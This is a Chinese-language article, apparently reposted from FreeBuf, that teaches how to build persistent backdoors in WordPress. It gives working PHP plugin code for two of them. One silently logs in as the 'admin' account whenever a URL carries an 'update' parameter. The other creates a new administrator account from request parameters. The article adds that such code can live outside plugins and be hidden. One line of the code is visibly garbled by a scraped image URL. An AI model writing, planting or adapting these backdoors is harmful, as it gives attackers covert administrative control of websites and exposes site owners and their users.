許可權後門系列之一:手動打造WordPress許可權後門
許可權後門是最容易被管理員忽視的環節,通常需要對系統進行全面檢查才能發現。本文以Wordpress為例,介紹兩種新型的後門方式。
方案1 - 自動登錄管理員賬號
這種方案較為隱蔽,我們只要找到一個管理員賬號,調用Wordpress API,實現自動登錄即可。
在測試環境中,我們只有 admin 一個賬號。為了登錄這個admin
賬號,我們需要進行如下操作
// 當帶有 "update" 字樣時就執行後門
if (! isset ($_GET["update"]))
{
return;
}
$user = get_user_by("login", "admin");
if (! is_wp_error($user))
{
// 清空當前認證信息
wp_clear_auth_cookie();
// 設置管理員的認證信息
wp_set_current_user($user->ID);
wp_set_auth_cookie($user->ID);
// 跳轉到管理後台
wp_safe_redirect(user_admin_url(//img.ifuun.com/getimg.php?url=));
exit();
}
我們登錄伺服器,將插件釋放在 wp-content/plugins/001-autologin.php
,並激活插件,e.g
激活後,就可以成功登錄了。這裡為了方便演示,用的cURL命令
方案2 - 創建管理賬號
這個方法會根據用戶輸入的賬號和密碼,創建管理員賬號。我們編寫如下插件,安裝到 WordPress 里,
$__username = @$_REQUEST["__username"];
$__password = @$_REQUEST["__password"];
if (! isset ($__username) || ! isset ($__password) || username_exists ($__username))
{
return;
}
// 創建用戶
$user = wp_create_user($__username, $__password, "root@localhost.localdomain");
if (! is_wp_error($user))
{
$user = get_user_by("login", $__username);
// 設置為管理員角色
$user->set_role("administrator");
exit();
}
激活插件後,我們觸發一下
使用剛剛提交的賬號密碼,aka hello:world
登錄,發現管理員賬號已經添加成功了:
寫在最後
本文只是以Wordpress插件為例,講解如何實現後門機制,後門代碼並不一定放在插件里。至於如何隱藏後門,本文不再贅述。
完整的測試代碼可以在這裡下載:https://rasp.baidu.com/download/
*本文作者:c0debreak ,轉載請註明來自FreeBuf.COM
※CVE 2017-0199漏洞利用的新姿勢
※年度盤點 | 2017年的數據泄露帶給我們的經驗與教訓
※2017年的數據泄露帶給我們的經驗與教訓
※年度盤點 | 2017年最嚴重的七大數據泄露事件
TAG:FreeBuf |